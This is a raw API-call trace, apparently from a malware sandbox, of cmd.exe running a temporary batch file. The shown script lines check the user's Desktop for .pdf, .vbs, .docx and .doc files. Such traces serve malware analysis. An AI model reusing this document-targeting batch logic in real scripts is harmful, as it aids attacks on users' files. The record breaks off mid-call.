[0037.681] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.681] GetProcessHeap () returned 0x4e0000 [0037.681] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.681] GetProcessHeap () returned 0x4e0000 [0037.681] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.681] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.681] GetProcessHeap () returned 0x4e0000 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.682] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.682] GetProcessHeap () returned 0x4e0000 [0037.682] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.682] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.682] GetProcessHeap () returned 0x4e0000 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.682] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.682] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.682] GetProcessHeap () returned 0x4e0000 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.682] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.682] GetProcessHeap () returned 0x4e0000 [0037.682] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.682] GetProcessHeap () returned 0x4e0000 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.682] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.683] _tell (_FileHandle=3) returned 2003 [0037.683] _close (_FileHandle=3) returned 0 [0037.684] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.684] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.684] GetLastError () returned 0x2 [0037.684] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.684] GetLastError () returned 0x6 [0037.684] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.684] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.685] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.685] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.685] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.685] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.686] SetConsoleInputExeNameW () returned 0x1 [0037.686] GetConsoleOutputCP () returned 0x1b5 [0037.686] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.686] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.686] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.686] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.686] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.686] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.686] GetProcessHeap () returned 0x4e0000 [0037.686] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.686] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.687] GetProcessHeap () returned 0x4e0000 [0037.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.687] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.687] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.687] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e5a, lpOverlapped=0x0) returned 1 [0037.687] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0037.687] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.688] GetFileType (hFile=0x74) returned 0x1 [0037.688] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.688] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.688] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.688] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.688] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.688] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.688] GetProcessHeap () returned 0x4e0000 [0037.688] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.689] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.689] GetProcessHeap () returned 0x4e0000 [0037.689] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.689] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.689] GetProcessHeap () returned 0x4e0000 [0037.689] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.689] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.690] _tell (_FileHandle=3) returned 2028 [0037.690] _close (_FileHandle=3) returned 0 [0037.690] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0037.690] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.690] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.690] GetLastError () returned 0x2 [0037.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.690] GetLastError () returned 0x6 [0037.690] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.690] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.691] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.691] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.691] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.691] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.691] SetConsoleInputExeNameW () returned 0x1 [0037.691] GetConsoleOutputCP () returned 0x1b5 [0037.691] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.691] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.692] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.692] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.692] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.692] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.692] GetProcessHeap () returned 0x4e0000 [0037.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.693] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.693] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.693] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e41, lpOverlapped=0x0) returned 1 [0037.693] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0037.693] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.693] GetFileType (hFile=0x74) returned 0x1 [0037.693] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.693] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.693] GetProcessHeap () returned 0x4e0000 [0037.693] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.693] GetProcessHeap () returned 0x4e0000 [0037.693] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.693] _tell (_FileHandle=3) returned 2030 [0037.693] _close (_FileHandle=3) returned 0 [0037.694] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.694] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.694] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.694] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.694] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.694] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.694] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e3f, lpOverlapped=0x0) returned 1 [0037.694] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0037.694] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.694] GetFileType (hFile=0x74) returned 0x1 [0037.694] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.694] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.694] GetProcessHeap () returned 0x4e0000 [0037.694] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.694] GetProcessHeap () returned 0x4e0000 [0037.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.695] GetProcessHeap () returned 0x4e0000 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.695] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.695] GetProcessHeap () returned 0x4e0000 [0037.695] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.695] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.695] GetProcessHeap () returned 0x4e0000 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.695] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.695] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4b38 [0037.695] GetProcessHeap () returned 0x4e0000 [0037.695] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4b58 [0037.695] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x18) returned 0x4f4b58 [0037.696] GetProcessHeap () returned 0x4e0000 [0037.696] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x18 [0037.696] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.696] GetProcessHeap () returned 0x4e0000 [0037.696] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.696] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4bf8 [0037.697] _tell (_FileHandle=3) returned 2057 [0037.697] _close (_FileHandle=3) returned 0 [0037.697] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0037.697] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.697] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.697] GetLastError () returned 0x2 [0037.697] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.697] GetLastError () returned 0x6 [0037.697] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.697] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.698] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.698] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.698] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.698] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.698] SetConsoleInputExeNameW () returned 0x1 [0037.698] GetConsoleOutputCP () returned 0x1b5 [0037.698] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.698] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.699] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.699] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.699] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.699] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.699] GetProcessHeap () returned 0x4e0000 [0037.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.700] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.700] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.700] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e24, lpOverlapped=0x0) returned 1 [0037.700] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.700] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.700] GetFileType (hFile=0x74) returned 0x1 [0037.700] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.700] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.700] GetProcessHeap () returned 0x4e0000 [0037.700] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.700] GetProcessHeap () returned 0x4e0000 [0037.700] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.700] _tell (_FileHandle=3) returned 2059 [0037.700] _close (_FileHandle=3) returned 0 [0037.701] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.701] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.701] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.701] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.701] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.701] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.701] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e22, lpOverlapped=0x0) returned 1 [0037.701] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.701] _get_osfhandle 